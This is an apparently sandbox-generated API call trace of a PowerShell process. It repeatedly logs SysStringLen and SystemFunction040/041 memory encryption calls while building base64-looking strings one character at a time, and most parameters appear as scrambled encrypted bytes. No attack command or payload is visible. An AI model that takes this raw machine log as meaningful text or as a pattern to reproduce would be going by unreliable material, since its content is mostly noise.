(param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽珖괔섴\䟙㋵꟝ᦛ⊠) returned 0x18 [0212.151] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽珖괔섴\䟙㋵꟝ᦛ⊠) returned 0x18 [0212.151] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0212.152] SysStringLen (param_1="2ydWQfD9F9rYxkWQSz38a+䖎㰻") returned 0x18 [0212.152] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0212.152] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽媂枃䆸吺袶踘ᙅ") returned 0x18 [0212.152] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽媂枃䆸吺袶踘ᙅ") returned 0x18 [0212.152] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0212.152] SysStringLen (param_1="2ydWQfD9F9rYxkWQSz38a+L㰻") returned 0x18 [0212.152] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0212.152] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽ꅶራ蓙톣嗷眲匋") returned 0x18 [0212.152] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽ꅶራ蓙톣嗷眲匋") returned 0x18 [0212.153] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0212.153] SysStringLen (param_1="2ydWQfD9F9rYxkWQSz38a+Lm") returned 0x18 [0212.153] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0212.153] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽丶粐㻟톛選㘔ဒ壹") returned 0x18 [0212.153] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽丶粐㻟톛選㘔ဒ壹") returned 0x18 [0212.153] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽丶粐㻟톛選㘔ဒ壹") returned 0x18 [0212.154] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽丶粐㻟톛選㘔ဒ壹") returned 0x20 [0212.154] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0212.154] SysStringLen (param_1="2ydWQfD9F9rYxkWQSz38a+Lmw䐅䦶歕ᮗ聫捡闂") returned 0x20 [0212.154] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0212.154] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽丶粐㻟톛選㘔ဒ壹龜휋卜ɒ햗藭✛掉") returned 0x20 [0212.154] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽丶粐㻟톛選㘔ဒ壹龜휋卜ɒ햗藭✛掉") returned 0x20 [0212.154] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0212.155] SysStringLen (param_1="2ydWQfD9F9rYxkWQSz38a+Lmw0䦶歕ᮗ聫捡闂") returned 0x20 [0212.155] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0212.155] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽丶粐㻟톛選㘔ဒ壹김姷錋㝊⁆ꙥ违") returned 0x20 [0212.155] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽丶粐㻟톛選㘔ဒ壹김姷錋㝊⁆ꙥ违") returned 0x20 [0212.155] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0212.155] SysStringLen (param_1="2ydWQfD9F9rYxkWQSz38a+Lmw04歕ᮗ聫捡闂") returned 0x20 [0212.155] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0212.155] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽丶粐㻟톛選㘔ဒ壹ᯣ澿诚ꩭ뱏庵쾇諝") returned 0x20 [0212.155] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽丶粐㻟톛選㘔ဒ壹ᯣ澿诚ꩭ뱏庵쾇諝") returned 0x20 [0212.155] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0212.156] SysStringLen (param_1="2ydWQfD9F9rYxkWQSz38a+Lmw04Rᮗ聫捡闂") returned 0x20 [0212.156] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0212.156] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽丶粐㻟톛選㘔ဒ壹펿ꟾ䀑롤삮ꢿ嚌") returned 0x20 [0212.156] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽丶粐㻟톛選㘔ဒ壹펿ꟾ䀑롤삮ꢿ嚌") returned 0x20 [0212.156] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0212.156] SysStringLen (param_1="2ydWQfD9F9rYxkWQSz38a+Lmw04Rv聫捡闂") returned 0x20 [0212.156] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0212.156] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽丶粐㻟톛選㘔ဒ壹₢ဨ폶뮤ꥧﶜ㳾") returned 0x20 [0212.156] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽丶粐㻟톛選㘔ဒ壹₢ဨ폶뮤ꥧﶜ㳾") returned 0x20 [0212.156] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0212.157] SysStringLen (param_1="2ydWQfD9F9rYxkWQSz38a+Lmw04Rvt捡闂") returned 0x20 [0212.157] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0212.157] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽丶粐㻟톛選㘔ဒ壹풫톌◫舡ᐯ⚸姳䜽") returned 0x20 [0212.157] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽丶粐㻟톛選㘔ဒ壹풫톌◫舡ᐯ⚸姳䜽") returned 0x20 [0212.157] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0212.157] SysStringLen (param_1="2ydWQfD9F9rYxkWQSz38a+Lmw04RvtA闂") returned 0x20 [0212.157] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0212.157] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽丶粐㻟톛選㘔ဒ壹᩿鲊뎱쁻ꌕ彽萎ج") returned 0x20 [0212.157] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽丶粐㻟톛選㘔ဒ壹᩿鲊뎱쁻ꌕ彽萎ج") returned 0x20 [0212.157] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0212.158] SysStringLen (param_1="2ydWQfD9F9rYxkWQSz38a+Lmw04RvtAp") returned 0x20 [0212.158] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0212.158] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽丶粐㻟톛選㘔ဒ壹▙ថ釘쓭ꡃ\⧜噜⊗) returned 0x20 [0212.158] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽丶粐㻟톛選㘔ဒ壹▙ថ釘쓭ꡃ\⧜噜⊗) returned 0x20 [0212.158] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽丶粐㻟톛選㘔ဒ壹▙ថ釘쓭ꡃ\⧜噜⊗) returned 0x20 [0212.159] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽丶粐㻟톛選㘔ဒ壹▙ថ釘쓭ꡃ\⧜噜⊗) returned 0x28 [0212.159] SystemFunction041 (in: Memory=0x5c91db4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91db4) returned 0x0 [0212.159] SysStringLen (param_1="2ydWQfD9F9rYxkWQSz38a+Lmw04RvtApg⼅縣⎬檸⽚婭") returned 0x28 [0212.159] SystemFunction040 (in: Memory=0x5c91db4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91db4) returned 0x0 [0212.159] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽丶粐㻟톛選㘔ဒ壹▙ថ釘쓭ꡃ\⧜噜֗ﲍ썥䶙䆶탋⊶) returned 0x28 [0212.159] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽丶粐㻟톛選㘔ဒ壹▙ថ釘쓭ꡃ\⧜噜֗ﲍ썥䶙䆶탋⊶) returned 0x28 [0212.159] SystemFunction041 (in: Memory=0x5c91db4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91db4) returned 0x0 [0212.160] SysStringLen (param_1="2ydWQfD9F9rYxkWQSz38a+Lmw04RvtApgO縣⎬檸⽚婭") returned 0x28 [0212.160] SystemFunction040 (in: Memory=0x5c91db4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91db4) returned 0x0 [0212.160] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽丶粐㻟톛選㘔ဒ壹▙ថ釘쓭ꡃ\⧜噜뾗é뚒酰腹뇺娚≑) returned 0x28 [0212.160] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽丶粐㻟톛選㘔ဒ壹▙ថ釘쓭ꡃ\⧜噜뾗é뚒酰腹뇺娚≑) returned 0x28 [0212.160] SystemFunction041 (in: Memory=0x5c91db4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91db4) returned 0x0 [0212.160] SysStringLen (param_1="2ydWQfD9F9rYxkWQSz38a+Lmw04RvtApgOT縣⎬檸⽚婭") returned 0x28 [0212.160] SystemFunction040 (in: Memory=0x5c91db4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91db4) returned 0x0 [0212.160] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽丶粐㻟톛選㘔ဒ壹▙ថ釘쓭ꡃ\⧜噜貗竔霆㶔ꚮ㼨Ⱘ텕⋁) returned 0x28 [0212.160] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽丶粐㻟톛選㘔ဒ壹▙ថ釘쓭ꡃ\⧜噜貗竔霆㶔ꚮ㼨Ⱘ텕⋁) returned 0x28 [0212.160] SystemFunction041 (in: Memory=0x5c91db4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91db4) returned 0x0 [0212.161] SysStringLen (param_1="2ydWQfD9F9rYxkWQSz38a+Lmw04RvtApgOTq⎬檸⽚婭") returned 0x28 [0212.161] SystemFunction040 (in: Memory=0x5c91db4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91db4) returned 0x0 [0212.161] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽丶粐㻟톛選㘔ဒ壹▙ថ釘쓭ꡃ\⧜噜膗ꘆ帽쑅㟉弫ゖ≚) returned 0x28 [0212.286] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽丶粐㻟톛選㘔ဒ壹▙ថ釘쓭ꡃ\⧜噜膗ꘆ帽쑅㟉弫ゖ≚) returned 0x28 [0212.286] SystemFunction041 (in: Memory=0x5c91db4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91db4) returned 0x0 [0212.286] SysStringLen (param_1="2ydWQfD9F9rYxkWQSz38a+Lmw04RvtApgOTqT檸⽚婭") returned 0x28 [0212.287] SystemFunction040 (in: Memory=0x5c91db4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91db4) returned 0x0 [0212.287] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽丶粐㻟톛選㘔ဒ壹▙ថ釘쓭ꡃ\⧜噜햗峄橨捧/襇⁻≃) returned 0x28 [0212.287] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽丶粐㻟톛選㘔ဒ壹▙ថ釘쓭ꡃ\⧜噜햗峄橨捧/襇⁻≃) returned 0x28 [0212.287] SystemFunction041 (in: Memory=0x5c91db4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91db4) returned 0x0 [0212.287] SysStringLen (param_1="2ydWQfD9F9rYxkWQSz38a+Lmw04RvtApgOTqT8⽚婭") returned 0x28 [0212.287] SystemFunction040 (in: Memory=0x5c91db4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91db4) returned 0x0 [0212.287] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽丶粐㻟톛選㘔ဒ壹▙ថ釘쓭ꡃ\⧜噜ڗﰹᐎ檾롔磥霏≈) returned 0x28 [0212.287] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽丶粐㻟톛選㘔ဒ壹▙ថ釘쓭ꡃ\⧜噜ڗﰹᐎ檾롔磥霏≈) returned 0x28 [0212.287] SystemFunction041 (in: Memory=0x5c91db4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91db4) returned 0x0 [0212.288] SysStringLen (param_1="2ydWQfD9F9rYxkWQSz38a+Lmw04RvtApgOTqT8w婭") returned 0x28 [0212.288] SystemFunction040 (in: Memory=0x5c91db4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91db4) returned 0x0 [0212.288] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽丶粐㻟톛選㘔ဒ壹▙ថ釘쓭ꡃ\⧜噜킗ྍㄌ鲧⍡ᗻ靮쀴⊪) returned 0x28 [0212.288] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽丶粐㻟톛選㘔ဒ壹▙ថ釘쓭ꡃ\⧜噜킗ྍㄌ鲧⍡ᗻ靮쀴⊪) returned 0x28 [0212.288] SystemFunction041 (in: Memory=0x5c91db4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91db4) returned 0x0 [0212.288] SysStringLen (param_1="2ydWQfD9F9rYxkWQSz38a+Lmw04RvtApgOTqT8we") returned 0x28 [0212.288] SystemFunction040 (in: Memory=0x5c91db4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91db4) returned 0x0 [0212.288] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽丶粐㻟톛選㘔ဒ壹▙ថ釘쓭ꡃ\⧜噜㎗鞟첏ÿ〲잩ƕ∟) returned 0x28 [0212.289] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽丶粐㻟톛選㘔ဒ壹▙ថ釘쓭ꡃ\⧜噜㎗鞟첏ÿ〲잩ƕ∟) returned 0x28 [0212.289] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽丶粐㻟톛選㘔ဒ壹▙ថ釘쓭ꡃ\⧜噜㎗鞟첏ÿ〲잩ƕ∟) returned 0x28 [0212.289] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽丶粐㻟톛選㘔ဒ壹▙ថ釘쓭ꡃ\⧜噜㎗鞟첏ÿ〲잩ƕ∟) returned 0x30 [0212.289] SystemFunction041 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0212.290] SysStringLen (param_1="2ydWQfD9F9rYxkWQSz38a+Lmw04RvtApgOTqT8wef뼂䔂맯὏툺") returned 0x30 [0212.290] SystemFunction040 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0212.290] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽丶粐㻟톛選㘔ဒ壹▙ថ釘쓭ꡃ\⧜噜㎗鞟첏ÿ〲잩ƕꌟ屸疙\諜腿Ô\⋜) returned 0x30 [0212.290] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽丶粐㻟톛選㘔ဒ壹▙ថ釘쓭ꡃ\⧜噜㎗鞟첏ÿ〲잩ƕꌟ屸疙\諜腿Ô\⋜) returned 0x30 [0212.290] SystemFunction041 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0212.290] SysStringLen (param_1="2ydWQfD9F9rYxkWQSz38a+Lmw04RvtApgOTqT8wef9䔂맯὏툺") returned 0x30 [0212.290] SystemFunction040 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0212.290] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽丶粐㻟톛選㘔ဒ壹▙ថ釘쓭ꡃ\⧜噜㎗鞟첏ÿ〲잩ƕğ㡘蕲꿊阽ᤰ퉧ૄ⋿) returned 0x30 [0212.290] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽丶粐㻟톛選㘔ဒ壹▙ថ釘쓭ꡃ\⧜噜㎗鞟첏ÿ〲잩ƕğ㡘蕲꿊阽ᤰ퉧ૄ⋿) returned 0x30 [0212.290] SystemFunction041 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0212.291] SysStringLen (param_1="2ydWQfD9F9rYxkWQSz38a+Lmw04RvtApgOTqT8wef90䔂맯὏툺") returned 0x30 [0212.291] SystemFunction040 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0212.291] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽丶粐㻟톛選㘔ဒ壹▙ថ釘쓭ꡃ\⧜噜㎗鞟첏ÿ〲잩ƕ攟榸꧆狗䓌鷾\쏟") returned 0x30 [0212.291] SysStringLen (param_1="鶆㬬ᙀ㗂䟹ꡩሡ㲵ꂜ㳉ુ鷳㛽丶粐㻟톛選㘔ဒ壹▙ថ釘쓭ꡃ\⧜噜㎗鞟첏ÿ〲잩ƕ攟榸꧆狗䓌鷾\쏟") returned 0x30 [0212.291] SystemFunction041 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0212.291] SysStringLen (param_1="2ydWQfD9F9rYxkWQSz38a+Lmw04RvtApgOTqT8wef90=맯὏툺") returned 0x30 [0212.291] SystemFunction040 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0212.292] EtwEventActivityIdControl () returned 0x0 [0212.292] EtwEventActivityIdControl () returned 0x0 [0212.292] EtwEventActivityIdControl () returned 0x0 [0212.294] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e690, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0212.294] EtwEventActivityIdControl () returned 0x0 [0212.294] EtwEventActivityIdControl () returned 0x0 [0212.294] EtwEventActivityIdControl () returned 0x0 [0212.295] SysStringLen (param_1="") returned 0x8 [0212.295] SysStringLen (param_1="N") returned 0x8 [0212.295] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0212.296] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0212.296] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0212.296] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0212.296] SysStringLen (param_1="ND") returned 0x8 [0212.296] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0212.296] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0212.296] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0212.296] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0212.296] SysStringLen (param_1="NDZ") returned 0x8 [0212.296] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0212.297] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0212.297] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0212.297] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0212.297] SysStringLen (param_1="NDZl") returned 0x8 [0212.297] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0212.297] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0212.297] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0212.297] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0212.297] SysStringLen (param_1="NDZlO") returned 0x8 [0212.297] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0212.297] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0212.298] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0212.298] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0212.298] SysStringLen (param_1="NDZlOD") returned 0x8 [0212.298] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0212.298] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0212.298] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0212.298] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0212.298] SysStringLen (param_1="NDZlODR") returned 0x8 [0212.298] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0212.298] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0212.298] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0212.299] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0212.299] SysStringLen (param_1="NDZlODRm") returned 0x8 [0212.299] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0212.299] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0212.299] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0212.299] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0212.300] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0212.300] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0212.300] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0212.300] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0212.300] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0212.300] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0212.300] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0212.301] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0212.301] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0212.301] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0212.301] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0212.301] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0212.301] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0212.301] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0212.301] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0212.301] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0212.301] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0212.302] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0212.302] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0212.302] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0212.302] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0212.302] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0212.302] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0212.302] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0212.302] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0212.302] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0212.302] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 